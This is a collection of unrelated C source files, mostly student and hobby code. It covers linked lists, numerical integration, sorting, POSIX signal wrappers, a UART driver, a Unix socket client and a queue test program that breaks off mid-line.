slist->size--;
}
arr[i] = NULL;
i++;
if((i + 1) <= slist->size / 4) { /* maybe turn the 1/4 into a changable #define */
tmp = malloc((i + 1) * sizeof(void *));
memcpy(tmp, arr, (i + 1) * sizeof(void *));
free(arr);
return tmp;
}
return arr;
}
void *bl_slist_peek(bl_slist *slist)
{
assert(slist);
assert(slist->head);
return slist->head->data;
}
void *bl_slist_find(bl_slist *slist, void *data, int (*cmp_func)(void *, void *))
{
struct bl_slist_elm *cur = NULL;
for(cur = slist->head; cur != NULL; cur = cur->next) {
if((cmp_func)(data, cur->data) == 0) {
return cur->data;
}
}
return NULL;
}
size_t bl_slist_size(bl_slist *slist)
{
assert(slist);
return slist->size;
}
void bl_slist_sort(bl_slist *slist, int (*cmp_func)(void *, void *)) /* use better algorithm (heap, merge) when possible */
{
struct bl_slist_elm *cur = NULL;
struct bl_slist_elm *sort_head = NULL;
struct bl_slist_elm *sort_cur = NULL;
int check = 1;
if(slist->head != NULL) {
sort_head = slist->head;
slist->head = slist->head->next;
sort_head->next = NULL;
}
while(slist->head != NULL) {
/* isolate a node */
cur = slist->head;
slist->head = slist->head->next;
cur->next = NULL;
if((cmp_func)(cur->data, sort_head->data) < 0) {
cur->next = sort_head;
sort_head = cur;
} else {
check = 1;
for(sort_cur = sort_head; sort_cur->next != NULL; sort_cur = sort_cur->next) {
if((cmp_func)(cur->data, sort_cur->next->data) < 0) {
cur->next = sort_cur->next;
sort_cur->next = cur;
check = 0;
break;
}
}
if(check == 1) {
sort_cur->next = cur;
}
}
}
slist->head = sort_head;
}
void bl_slist_free(bl_slist **slist, void (*free_func)(void *))
{
struct bl_slist_elm *cur = NULL, *next = NULL;
assert(*slist);
if((*slist)->head != NULL) {
for(cur = (*slist)->head; cur; cur = next) {
next = cur->next;
(free_func)(cur->data);
free(cur);
}
}
free(*slist);
*slist = NULL;
}
void bl_slist_free_nodes(bl_slist *slist, void (*free_func)(void *))
{
struct bl_slist_elm *cur = NULL, *next = NULL;
assert(slist);
if(slist->head != NULL) {
for(cur = slist->head; cur; cur = next) {
next = cur->next;
(free_func)(cur->data);
free(cur);
}
}
slist->head = NULL;
slist->size = 0;
}
void bl_slist_print(bl_slist *slist, void (print_func)(void *))
{
struct bl_slist_elm *cur = NULL;
assert(slist);
if(slist->head == NULL) {
printf("List Empty\n");
} else {
for(cur = slist->head; cur; cur = cur->next) {
print_func(cur->data);
}
}
}
|
C
|
/*
** free.c for Corewar in /CPE_2015_corewar/src/asm
**
** Made by Antoine Baché
** Login <bache_a@epitech.net>
**
** Started on Thu Feb 25 23:22:18 2016 Antoine Baché
** Last update Fri Mar 4 02:20:59 2016 Antoine Baché
*/
#include <stdlib.h>
#include "asm.h"
void free_elems(t_data *data)
{
int i;
t_parsing *tmp;
t_label *tmp2;
while (data->elem->next)
{
tmp = data->elem;
data->elem = data->elem->next;
free(tmp);
}
free(data->elem);
while (data->label->next)
{
tmp2 = data->label;
data->label = data->label->next;
free(tmp2->label);
free(tmp2);
}
free(data->label->label);
free(data->label);
i = 0;
while (i < 17)
free(data->ins[i++]);
free(data->ins);
free(data->list);
}
|
C
|
#include <stdio.h>
/**
*main - void function
*Return: nothing
*/
int main(void)
{
char c = 'a';
char d = 'A';
char s = '\n';
int n = 0;
while (n < 26)
{
putchar(c);
c++;
n++;
}
n = 0;
while (n < 26)
{
putchar(d);
d++;
n++;
}
putchar(s);
return (0);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <errno.h>
#include "infi.h"
/** @brief usage error message */
#define USAGE_ERROR "Usage: NumericalAnalyzer <function number> <a> <b> <N> <x0> <h>\n"
/** @brief Invalid input message */
#define INVALID_INPUT "Invalid input\n"
/** @brief method error */
#define ERROR 0
/** @brief method SUCCESS */
#define SUCCESS 1
/** @brief in function domain */
#define NO_DOMAIN_ERROR 0
/** @brief out of function domain */
#define DOMAIN_ERROR 1
/** @brief counting base */
#define COUNTING_BASE 10
/** @brief lowest function id */
#define VALID_FUNCTION_ID_LOWER_BOUND 1
/** @brief highest function id */
#define VALID_FUNCTION_ID_UPPER_BOUND 6
/** @brief max number of decimal points allowed in a valid double */
#define MAX_DECIMAL_POINTS_ALLOWED 1
/** @brief a global variable to determine whether or not we have tried
* to access a function from outside its domain */
int domainError = NO_DOMAIN_ERROR;
/** @brief a constant char to represent a decimal point */
const char decimalPoint = '.';
/**
* @brief checks whether or not the given functions number is valid and
* converts the number if possible
* @param str the string to convert
* @param address the address to which the function will convert the number.
* @return 1 if successful or 0 otherwise
*/
int validFuncId(char *str, int *address);
/**
* @brief checks whether or not the given Point Of Derivation string is valid and
* converts the number if possible
* @param str the string to convert
* @param address the address to which the Point Of Derivation will be writen at.
* @return 1 if successful or 0 otherwise
*/
int parsePointOfDerivation(char *str, int *address);
/**
* @brief checks if a given char is a valid digit
* @param charToCheck the char to check
* @return return 1 if digit or 0 otherwis
*/
int charIsDigit(char charToCheck);
/**
* @brief extracts a double number from a string if possible
* @param str the string from which the double will be extracted if possible
* @param address the address of the extracted double
* @return 1 if successful or 0 otherwise
*/
int extractDoubleFromString(char *str, double *address);
/**
* @brief the given f1 function
* @param x x
* @return f1(x)
*/
double func1(double x);
/**
* @brief the given f2 function
* @param x x
* @return f2(x)
*/
double func2(double x);
/**
* @brief the given f3 function
* @param x x
* @return f3(x)
*/
double func3(double x);
/**
* @brief the given f4 function
* @param x x
* @return f4(x)
*/
double func4(double x);
/**
* @brief the given f5 function
* @param x x
* @return f5(x)
*/
double func5(double x);
/**
* @brief the given f6 function
* @param x x
* @return f6(x)
*/
double func6(double x);
int main(int numberOfArguments, char *argumentsArray[])
{
if (numberOfArguments != 7)
{
fprintf(stderr, "%s", USAGE_ERROR);
return EXIT_FAILURE;
}
int funcId, n;
double a, b, x0, h;
if (!validFuncId(argumentsArray[1], &funcId) ||
extractDoubleFromString(argumentsArray[2], &a) == ERROR ||
extractDoubleFromString(argumentsArray[3], &b) == ERROR ||
parsePointOfDerivation(argumentsArray[4], &n) == ERROR || (a >= b) ||
extractDoubleFromString(argumentsArray[5], &x0) == ERROR ||
extractDoubleFromString(argumentsArray[6], &h) == ERROR)
{
fprintf(stderr, INVALID_INPUT);
return EXIT_FAILURE;
}
--funcId;
RealFunction RealFunctions[6] = {func1, func2, func3, func4, func5, func6};
double extractIntegral = integration(RealFunctions[funcId], a, b, n);
double extractDerivative = derivative(RealFunctions[funcId], x0, h);
if(domainError)
{
fprintf(stderr, INVALID_INPUT);
return EXIT_FAILURE;
}
printf("Integral: %0.5f\n", extractIntegral);
printf("Derivative: %0.5f\n", extractDerivative);
return EXIT_SUCCESS;
}
int validFuncId(char *str, int *address)
{
char *charPointer;
int Num = strtoul(str, &charPointer, COUNTING_BASE);
if ((strlen(str) > 1 && str[0] != '0') ||
Num < VALID_FUNCTION_ID_LOWER_BOUND || Num > VALID_FUNCTION_ID_UPPER_BOUND)
{
return ERROR;
}
*address = Num;
return SUCCESS;
}
int parsePointOfDerivation(char *str, int *address)
{
for(int i = 0; i < strlen(str); ++i)
{
if (!charIsDigit(str[i]))
{
return ERROR;
}
}
char *charPointer;
*address = strtoul(str, &charPointer, COUNTING_BASE);
return SUCCESS;
}
int charIsDigit(char charToCheck)
{
if ((charToCheck >= '0' && charToCheck <= '9'))
{
return SUCCESS;
}
return ERROR;
}
int extractDoubleFromString(char *str, double* address)
{
int decimalPointCounter = 0;
for(int i = 0; i < strlen(str); ++i)
{
if(str[i] == decimalPoint)
{
++decimalPointCounter;
}
if (decimalPointCounter > MAX_DECIMAL_POINTS_ALLOWED)
{
return ERROR;
}
}
int start = 0;
if (str[0] == '-')
{
++start;
}
for(int i = start; i < strlen(str); ++i)
{
if (!charIsDigit(str[i]) && str[i] != decimalPoint)
{
return ERROR;
}
}
char *charPointer;
double num = strtod(str, &charPointer);
if (num == 0 && (errno != ERROR || charPointer == str))
{
return ERROR;
}
*address = num;
return SUCCESS;
}
double func1(double x)
{
return ((x*x) / 4);
}
double func2(double x)
{
if(x <= 0)
{
domainError = DOMAIN_ERROR;
}
return (-1 * pow(x, 3) + (3 * pow(x, 2)) + x - (4 * sqrt(x))) / (2 * x * sqrt(x));
}
double func3(double x)
{
return (sin(x) * sin(x)) - (cos(x) * cos(x));
}
double func4(double x)
{
if(cos(2 * x) == -1)
{
domainError = DOMAIN_ERROR;
}
return (sin(x)) / (1 + cos(2 * x));
}
double func5(double x)
{
return pow(M_E, x);
}
double func6(double x)
{
if(x == 0)
{
domainError = DOMAIN_ERROR;
}
return (sinh(2 * x)) / (M_E * pow(x, 2));
}
|
C
|
#include "variadic_functions.h"
#include <stdarg.h>
#include <stdlib.h>
#include <stdio.h>
/**
* print_stngs - function that prints strings
* @separator: pointer holds the string that separates the strings
* @n: number of strings
*
* Return: Always 0.
*/
void print_strings(const char *separator, const unsigned int n, ...)
{
va_list str;
unsigned int indexer;
va_start(str, n);
for (indexer = 0; indexer < n; indexer++)
{
printf("%s", va_arg(str, unsigned char *));
if (separator != NULL && indexer < n - 1)
printf("%s", separator);
}
va_end(str);
putchar('\n');
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char building_name[100];
int room_number;
char room_name[100];
} Handong;
int main()
{
// Create structure type (Handong) variable room1
Handong room1;
// Create structure type (Handong) variable room2, room3
// Your code goes here
// Your code goes here
// Create structure type (Handong) Pointer , roomPt
Handong *roomPt= malloc(sizeof(Handong));
// Assign room3 address to roomPt
// Your code goes here
// Define structure variable memeber values: room1
strcpy(room1.building_name, "Newton");
room1.room_number = 109;
strcpy(room1.room_name, "SSSLAB");
// Define structure variable memeber values: room2
// Your code goes here
// Your code goes here
// Your code goes here
// Define structure variable memeber values: room3
// Your code goes here
// Your code goes here
// Your code goes here
// Print each member values : room1, room2, room3
printf("%s building, room %d is %s\n", room1.building_name, room1.room_number, room1.room_name);
// Your code goes here
// Your code goes here
// Print each member values by pointer variable: roomPt
// Your code goes here
// Print address of room3 and value of roomPt and compare.
printf("\n room3 address=%x , roomPt = %x \n", &room3, roomPt);
// Free mallocated variable
//free(roomPt);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <limits.h>
#include <unistd.h>
#include <sys/un.h>
#include "seqnum.h"
#define PROGRAM_NAME "client"
char buffer[BUFFER_SIZE];
void usage(int status) {
printf("Usage: %s\n", PROGRAM_NAME);
exit(status);
}
int main(int argc, char *argv[]) {
// getopt variables
int opt;
// parse argv
enum {
GETOPT_HELP_CHAR = (CHAR_MIN - 2),
};
static struct option const long_options[] = {
{"help", no_argument, NULL, GETOPT_HELP_CHAR},
};
while ((opt = getopt_long(argc, argv, "", long_options, NULL)) != -1) {
switch (opt) {
case GETOPT_HELP_CHAR:
usage(EXIT_SUCCESS);
break;
default:
usage(EXIT_FAILURE);
break;
}
}
if (argc != 1) {
usage(EXIT_FAILURE);
}
int sfd = mysocket(AF_UNIX, SOCK_STREAM, 0);
// set server address
struct sockaddr_un addr;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path));
myconnect(sfd, (struct sockaddr *) &addr, sizeof(addr));
int total_read = 0;
while (1) {
int num_read = myread(sfd,
buffer + total_read,
BUFFER_SIZE - total_read);
total_read += num_read;
if (num_read == 0) {
break;
}
}
int seq_num = atoi(buffer);
printf("seq_num=%d\n", seq_num);
exit(EXIT_SUCCESS);
}
|
C
|
#include "library_header.h"
error_t searchBooks(const char *FILE_NAME)
{
error_t found_status = SUCCESS;
char bookName[MAX_BOOK_NAME] = {0};
s_BooksInfo Book = {0};
FILE *fp = NULL;
int status = 0;
fp = fopen(FILE_NAME,"rb");
if(fp == NULL)
{
printf("\nFile is not opened\n");
return FILE_NOT_FOUND;
}
//put the control on books detail
if (fseek(fp,FILE_HEADER_SIZE,SEEK_SET) != 0)
{
fclose(fp);
printf("\nFacing issue while reading file\n");
return FAILURE;
}
printf("\nEnter Book Name to search:");
fflush(stdin);
fgets(bookName,MAX_BOOK_NAME,stdin);
while (fread(&Book, sizeof(Book), 1, fp))
{
if(!strcmp(bookName,Book.bookName))
{
found_status = SUCCESS;
break;
}
}
if(found_status)
{
printf("\nBook id = %u\n",Book.books_id);
printf("\nBook name = %s",Book.bookName);
printf("\nBook authorName = %s",Book.authorName);
printf("\nBook issued by student = %s",Book.studentName);
printf("\nBook issue date(day/month/year) = (%d/%d/%d)",Book.bookIssueDate.dd,
Book.bookIssueDate.mm, Book.bookIssueDate.yyyy);
printf("\nBook return date(day/month/year) = (%d/%d/%d)",Book.returnDate.dd,
Book.returnDate.mm, Book.returnDate.yyyy);
//return SUCCESS;
}
else
{
printf("\nNo Book by this name");
found_status= NOT_FOUND;
}
fclose(fp);
printf("\nPress any key to go to main menu.....");
getchar();
return found_status;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* sort_three.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: smanta <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/07/31 13:40:24 by smanta #+# #+# */
/* Updated: 2020/07/31 13:40:26 by smanta ### ########.fr */
/* */
/* ************************************************************************** */
#include "push_swap.h"
static size_t sort_three_support(t_stacks *stacks, int32_t *digits)
{
size_t adding_moving;
adding_moving = 0;
if (digits[2] < digits[0] && digits[0] < digits[1])
{
exec_rrx(stacks->a);
lst_push_back(stacks, 8);
++adding_moving;
}
else if (digits[1] < digits[2] && digits[2] < digits[0])
{
exec_rx(stacks->a);
lst_push_back(stacks, 5);
++adding_moving;
}
else if (digits[2] < digits[1] && digits[1] < digits[0])
{
exec_sx(stacks->a);
exec_rrx(stacks->a);
lst_push_back(stacks, 0);
lst_push_back(stacks, 8);
adding_moving += 2;
}
return (adding_moving);
}
static size_t sort_three_actions(t_stacks *stacks, int32_t *digits)
{
size_t adding_moving;
adding_moving = 0;
if (digits[1] < digits[0] && digits[0] < digits[2])
{
exec_sx(stacks->a);
lst_push_back(stacks, 0);
++adding_moving;
}
else if (digits[0] < digits[2] && digits[2] < digits[1])
{
exec_sx(stacks->a);
exec_rx(stacks->a);
lst_push_back(stacks, 0);
lst_push_back(stacks, 5);
adding_moving += 2;
}
else
adding_moving = sort_three_support(stacks, digits);
return (adding_moving);
}
size_t sort_three_main(t_stacks *stacks)
{
size_t adding_moving;
int32_t three_digits[3];
t_node *node;
if (stacks->a->len != 3)
return (0);
adding_moving = 0;
node = stacks->a->begin->next;
three_digits[0] = node->prev->value;
three_digits[1] = node->value;
three_digits[2] = node->next->value;
adding_moving = sort_three_actions(stacks, three_digits);
return (adding_moving);
}
|
C
|
#include "uart.h"
// Initialize UART interface
void UART_init(uint32_t baudrate) {
// Select pin function RXD (sec 7.4.40)
*iocon_register[UART_RXD_PORT][UART_RXD_PIN] &= ~BIT(1);
*iocon_register[UART_RXD_PORT][UART_RXD_PIN] |= BIT(0);
// Select pin function TXD (sec 7.4.41)
*iocon_register[UART_TXD_PORT][UART_TXD_PIN] &= ~BIT(1);
*iocon_register[UART_TXD_PORT][UART_TXD_PIN] |= BIT(0);
// Enable clock for UART (sec 3.5.14)
LPC_SYSCON->SYSAHBCLKCTRL |= BIT(12);
// Set UART clock divider value (sec 3.5.16)
// divider = SystemCoreClock / (baudrate * 16)
LPC_SYSCON->UARTCLKDIV |= ((SystemCoreClock >> 4) / baudrate) & 0x00FF;
// Enable UART FIFOs (sec 13.5.6)
LPC_UART->FCR |= BIT(0);
// Set 8 bit character width, 1 stop bit, no parity (sec 13.5.7)
LPC_UART->LCR |= (BIT(1) | BIT(0));
// Enable UART transmit (sec 13.5.16)
LPC_UART->TER |= BIT(7);
}
// Transmit one byte (8 bits) via UART
void UART_transmit(uint8_t data) {
// Transmit data (sec 13.5.2)
LPC_UART->THR |= data;
}
// Check if bytes are available in the UART receive buffer
uint8_t UART_available(void) {
// Overrun Error (sec 13.5.9)
if (LPC_UART->LSR & BIT(1)) {
return 16;
} else {
// Receiver Data Ready (sec 13.5.9)
return LPC_UART->LSR & BIT(0);
}
}
// Read the next byte in the UART receive buffer
uint8_t UART_receive(void) {
// Receiver Buffer Register (sec 13.5.1)
return LPC_UART->RBR & 0xFF;
}
|
C
|
#include<stdio.h>
void main()
{
int i,j,a[5],*p=a,temp;
printf("\nEnter ele of array:");
for(i=0;i<5;i++,p++)
scanf("%d",p);
p=a;
for(i=0;i<5;i++)
{
for(j=0;j<4;j++)
{
if(*(p+j)>*(p+j+1))
{
temp=*(p+j);
*(p+j)=*(p+j+1);
*(p+j+1)=temp;
}
}
}
printf("\nSorted array:");
for(i=0;i<5;i++,p++)
printf("%d ",*p);
p--;
printf("\nMax of array:%d",*p);
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
typedef struct element{
int x;
struct element *next;
}element;
void createElement(int a){
element *p=(element *)malloc(sizeof(element));
p->x=a;
p->next=NULL;
}
int main(){
int *x=(int *)malloc(10*sizeof(int));
return 0;
}
|
C
|
//teste mudança
#include<stdio.h>
#include<stdlib.h>
int main(){
int x;
x = sizeof(int);
printf("tamanho int: %i\n",x);
x = sizeof(float);
printf("tamanho float: %i\n",x);
x = sizeof(double);
printf("tamanho double: %i\n",x);
x = sizeof(char);
printf("tamanho char: %i\n",x);
system("pause");
}
#include <stdlib.h>
#include <stdio.h>
|
C
|
#include "utils/utils.h"
#include <stdbool.h>
/*
Write an algorithm such that if an element in an MxN matrix is 0, its entire row
and column is set to 0.
0 1 2
+-----
0|1 2 3
1|0 2 3
2|1 2 3
f(1,0) -> (0,0) (1, 0) (2, 0) * (1, 0), (1, 1), (1, 2)
0 1 2
+-----
0|1 2 3
1|1 0 3
2|1 2 3
f(1, 1) -> (0,1) (1, 1) (2, 1) * (1, 0) (1, 1) (1, 2)
*/
void zero_out(int n, int m[n][n]) {
int x_zeroed[n];
int y_zeroed[n];
for (int i = 0; i < n; i++) {
y_zeroed[i] = false;
x_zeroed[i] = false;
}
for (int y = 0; y < n; y++) {
for (int x = 0; x < n; x++) {
if (m[y][x] == 0) {
y_zeroed[y] = true;
x_zeroed[x] = true;
}
}
}
for (int y = 0; y < n; y++) {
for (int x = 0; x < n; x++) {
if (y_zeroed[y] || x_zeroed[x]) {
m[y][x] = 0;
}
}
}
}
int main() {
int m[3][3] = {{1, 2, 3}, {0, 2, 3}, {1, 2, 3}};
zero_out(3, m);
printf("1\n");
print_matrix(3, m);
int m1[3][3] = {{1, 2, 3}, {1, 0, 3}, {1, 2, 3}};
zero_out(3, m1);
printf("2\n");
print_matrix(3, m1);
return 0;
}
|
C
|
#include "pipe_funcs.h"
void safe_pipe(int pipefd[2]) {
if(pipe(pipefd) == -1) {
perror("pipe create failed");
exit(EXIT_CHILD);
}
}
struct pipe_node* make_pipe(void) {
struct pipe_node* p = malloc(sizeof(struct pipe_node));
safe_pipe(p->pipe_io);
p->next = NULL;
return p;
}
struct pipe_node* make_pipeline(struct process* processes) {
struct pipe_node* head = NULL;
struct pipe_node* tail = head;
struct pipe_node* p;
struct process** curr = &processes;
if(*curr != NULL) {
while((*curr)->next != NULL) {
p = make_pipe();
if(head == NULL) {
head = p;
tail = p;
}
else {
tail->next = p;
tail = p;
}
curr = &((*curr)->next);
}
}
return head;
}
|
C
|
/*
* charge.c
*
* Created on: 2020617
* Author: loyer
*/
#include "charge.h"
void Init_BAT_Charge(void)
{
GPIO_InitTypeDef GPIO_InitStructure; //ṹ
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB | RCC_APB2Periph_GPIOC, ENABLE);
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_0 | GPIO_Pin_1 | GPIO_Pin_2
| GPIO_Pin_12; //ѡҪõIO
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP; //ģʽ
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; //ô
GPIO_Init(GPIOB, &GPIO_InitStructure); /* ʼGPIO */
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_4 | GPIO_Pin_5; //ѡҪõIO
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP; //ģʽ
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; //ô
GPIO_Init(GPIOC, &GPIO_InitStructure); /* ʼGPIO */
BAT1 = 1;
BAT2 = 1;
BAT3 = 1;
BAT4 = 1;
BAT5 = 1;
BAT6 = 1;
}
/**
* Ƴ籦纯
* @pb 1-6ʾ籦1-6
* @allow 1-ʾ 0-ʾ
*/
void controlPowerBankCharge(u8 pb, u8 allow)
{
switch (pb)
{
case 1:
BAT1 = allow;
break;
case 2:
BAT2 = allow;
break;
case 3:
BAT3 = allow;
break;
case 4:
BAT4 = allow;
break;
case 5:
BAT5 = allow;
break;
case 6:
BAT6 = allow;
break;
default:
break;
}
}
|
C
|
#include<stdio.h>
int main(){
int n, k, height[100], max = 0;
scanf("%d %d",&n, &k);
for(int i=0; i<n; i++){
scanf("%d ", &height[i]);
if(height[i]>max){
max = height[i];
}
}
if(max > k){
printf("%d", max - k);
}
else if(max < k){
printf("0");
}
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ag_lstmapif.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mtacnet <mtacnet@student.42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/05/03 22:40:44 by mtacnet #+# #+# */
/* Updated: 2018/05/03 22:40:47 by mtacnet ### ########.fr */
/* */
/* ************************************************************************** */
/*
** \brief ag_lstmapif.c
** \author Alexis Guérin
** \date 1 février 2018
*/
#include "libag.h"
/*
** \brief Création d'une liste à partir d'une sélection
**
** La fonction applique `f` sur chaque maillon de la list `lst`. Une nouvelle
** liste est créée à partir des maillons qui, envoyé à `f`, renvoyaient _vrai_.
** La fonction `add` est utilisée pour l'insertion de chaque maillon dans la
** nouvelle liste.
*/
t_lstag *ag_lstmapif(t_lstag *lst, int (*f)(t_lstag*),
void (add)(t_lstag**, t_lstag*))
{
t_lstag *new_list;
t_lstag *new_elem;
new_list = NULL;
while (lst)
{
if (f(lst))
{
new_elem = ag_lstnew(lst->content, sizeof(lst->content));
if (!new_list)
new_list = new_elem;
else
add(&new_list, new_elem);
}
lst = lst->next;
}
return (new_list);
}
|
C
|
#include <stdio.h>
int main()
{
printf("\tCash Register 3.0 SoftWare\t\n");
printf("**************************************************\n");
int quantity;
double pr;
double total=0.0;
while(1)
{
printf("Give price of product:");
scanf("%lf",&pr);
if(pr==0) {break;}
printf("Give quantity of product:");
scanf("%d",&quantity);
total+=quantity*pr;
}
printf("**************************************************\n");
printf("Total cost of product:%.3lf\n",total);
return 0;
}
|
C
|
/*************************************************************************
Module: MISC_sig.c
Description:
Miscellaneous Services replacements for the Standard C signal()
and raise() functions.
The POSIX signal mechanism is regarded to be superior to the
Standard C signal mechanism (see, for example, Chapter 10 of
W. Richard Stevens' "Advanced Programming in the UNIX Environment"
or Chapter 6 of Donald Lewine's "POSIX Programmer's Guide").
However, in our software design, we are making a conscious
effort to relegate system calls (including POSIX calls that have
no Standard C equivalent) to the infrastructure level.
So, we are using these replacement functions to keep the application
software Standard C while providing the advantages of the POSIX
signal mechanism.
Functions that are public are defined in alphabetical order at
the top of this file and are identified with a prefix of
"MISC_sig_".
Functions that are private to this file are defined in alphabetical
order, following the definition of the public functions.
Assumptions:
**************************************************************************/
/*
* RCS info
* $Author: jing $
* $Locker: $
* $Date: 2004/05/27 16:46:25 $
* $Id: misc_sig.c,v 1.3 2004/05/27 16:46:25 jing Exp $
* $Revision: 1.3 $
* $State: Exp $
*/
/*
* System Include Files/Local Include Files
*/
#include <config.h>
#include <signal.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h> /* getpid() */
#include <sys/types.h> /* kill() */
#include <misc.h> /* MISC_SIG_ defines */
/*
* Constant Definitions/Macro Definitions/Type Definitions
*/
/*
* External Globals
*/
/*
* Static Globals
*/
/*
* Static Function Prototypes
*/
/**************************************************************************
Description: POSIX signal replacement for the Solaris sigset(3C)
simplified signal management function
Input: signal number whose disposition is being modified
pointer to a function or SIG_DFL or SIG_IGN
Output: POSIX sigaction() is used to change the signal action
Returns: (Solaris sigset(3C))
"sigset() is used to modify signal dispositions. 'signo' specifies
the signal, which may be any signal except SIGKILL and SIGSTOP.
'disp' specifies the signal disposition, which may be SIG_DFL,
SIG_IGN, or the address of a signal handler. If 'disp' is the
address of a signal handler, the system adds 'signo' to the calling
process's signal mask before executing the signal handler; when
the signal handler returns, the system restores the calling
process's signal mask to its state prior to the delivery of the
signal. In addition, if 'disp' is equal to SIG_HOLD, 'signo' is
added to the calling process's signal mask and the signal's
disposition remains unchanged."
"On success, sigset() returns SIG_HOLD if the signal had been
blocked or the signal's previous disposition if it had not been
blocked. On failure, it returns SIG_ERR and sets errno to
indicate the error."
Notes:
**************************************************************************/
void (*
MISC_sig_sigset(int signo, void (*disp)(int)))(int)
{
#ifdef SUNOS
return(sigset(signo, disp)) ;
#else
struct sigaction act ; /* "new" sigaction structure */
struct sigaction oact ; /* "old" sigaction structure */
unsigned char return_sig_hold = 0 ;
int retval ;
/*
* Retrieve the current mask of signals to be blocked during
* execution of signal handler ...
*/
if (sigaction(signo, (const struct sigaction *) NULL, &oact) < 0) {
return(SIG_ERR) ;
}
/*
* Determine if this signal had been blocked ...
*/
retval = sigismember((const sigset_t *) &oact.sa_mask, signo) ;
if (retval == 1) {
return_sig_hold = 1 ;
}
else if (retval < 0) {
return(SIG_ERR) ;
}
else {
/*
* Add the specified signal to the set of signals to be blocked
* during execution of signal handler ...
*/
if (sigaddset(&oact.sa_mask, signo) < 0) {
return(SIG_ERR) ;
}
}
/*
* Initialize the "new" sigaction structure ...
*/
if (disp == SIG_HOLD) {
act.sa_handler = oact.sa_handler ;
}
else {
act.sa_handler = disp ;
}
act.sa_flags = oact.sa_flags ;
act.sa_mask = oact.sa_mask ;
if (sigaction(signo, (const struct sigaction *) &act,
(struct sigaction *) NULL) < 0) {
return(SIG_ERR) ;
}
/*
* Return SIG_HOLD if signal had been blocked ... otherwise
* return the signal's previous disposition ...
*/
if (return_sig_hold) {
return(SIG_HOLD) ;
}
else {
return(oact.sa_handler) ;
}
#endif
/***
*** endif no SUNOS
***/
/*END of MISC_sig_sigset()*/
}
/**************************************************************************
Description: POSIX signal replacement for the Solaris sighold(3C)
convenience function
Input: signal number to be added to calling process's signal mask
Output: POSIX sigprocmask() is used to add the signal to the signal
mask
Returns: (Solaris sighold(3C))
Returns 0 on success. On failure, -1 is returned and errno
is set to indicate the error.
Notes:
**************************************************************************/
int
MISC_sig_sighold(int signo)
{
#ifdef SUNOS
return(sighold(signo)) ;
#else
sigset_t maskset ; /* new signal set */
/*
* Build the sigset_t argument for sigprocmask() ...
*/
if (sigemptyset(&maskset) < 0) {
return(-1) ;
}
if (sigaddset(&maskset, signo) < 0) {
return(-1) ;
}
/*
* We use sigprocmask() to change the signal mask ...
*/
return(sigprocmask(SIG_BLOCK, (const sigset_t *) &maskset,
(sigset_t *) NULL)) ;
#endif
/***
*** endif no SUNOS
***/
/*END of MISC_sig_sighold()*/
}
/**************************************************************************
Description: POSIX signal replacement for the Solaris sigrelse(3C)
convenience function
Input: signal number to be removed from the calling process's signal
mask
Output: POSIX sigprocmask() is used to remove the signal to the
signal mask
Returns: (Solaris sigrelse(3C))
Returns 0 on success. On failure, -1 is returned and errno
is set to indicate the error.
Notes:
**************************************************************************/
int
MISC_sig_sigrelse(int signo)
{
#ifdef SUNOS
return(sigrelse(signo)) ;
#else
sigset_t maskset ;
/*
* Build the sigset_t argument for sigprocmask() ...
*/
if (sigemptyset(&maskset) < 0) {
return(-1) ;
}
if (sigaddset(&maskset, signo) < 0) {
return(-1) ;
}
/*
* We use sigprocmask() to change the signal mask ...
*/
return (sigprocmask(SIG_UNBLOCK, (const sigset_t *) &maskset,
(sigset_t *) NULL)) ;
#endif
/***
*** endif no SUNOS
***/
/*END of MISC_sig_sigrelse()*/
}
|
C
|
//buzzer.c
#include "buzzer.h"
#define BIT0 0x00000001
#define BIT1 0x00000002
#define BIT2 0x00000004
#define BIT3 0x00000008
#define BIT4 0x00000010
#define BIT5 0x00000020
#define BIT6 0x00000040
#define BIT7 0x00000080
//delay ~ simple
void Delay_b(unsigned long a) { while (--a!=0); }
void InitBuzzer(void)
{
//set port P6.0 to output
PD6 |= BIT0;
PD6 |= BIT1;
}
//beep with tonality 1
void Beep_1(void)
{
int i;
for(i=0; i<50; i++)
{
//to beep buzzer, must shake port P6.0
P06 |= BIT0; //buzzer port P6.0 to 1
P06 &= ~BIT1; //buzzer port P6.1 to 0
Delay_b(5000);
P06 &= ~BIT0; //buzzer port P6.0 to 0
P06 |= BIT1; //buzzer port P6.1 to 1
Delay_b(5000);
}
}
//beep with tonality 2
void Beep_2(void)
{
int i;
for(i=0; i<50; i++)
{
//to beep buzzer, must shake port P6.0
P06 |= BIT0; //buzzer port P6.0 to 1
P06 &= ~BIT1; //buzzer port P6.1 to 0
Delay_b(2500);
P06 &= ~BIT0; //buzzer port P6.0 to 0
P06 |= BIT1; //buzzer port P6.1 to 1
Delay_b(2500);
}
}
|
C
|
#include "QueueInterface.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
/* Declaration of variables */
FILE * file;
char buffer[100];
char * op;
char * name;
char * gr;
int i;
int grade;
Item student;
Queue myQ;
Initialize(&myQ);
file = fopen("test.txt","r");
if (file != NULL) {
while (fgets(buffer, sizeof buffer, file) != NULL){
/* Prints the status of the queue */
if (Empty(&myQ))
printf("Queue is empty; ");
else
printf("Queue is not empty; ");
if (Full(&myQ))
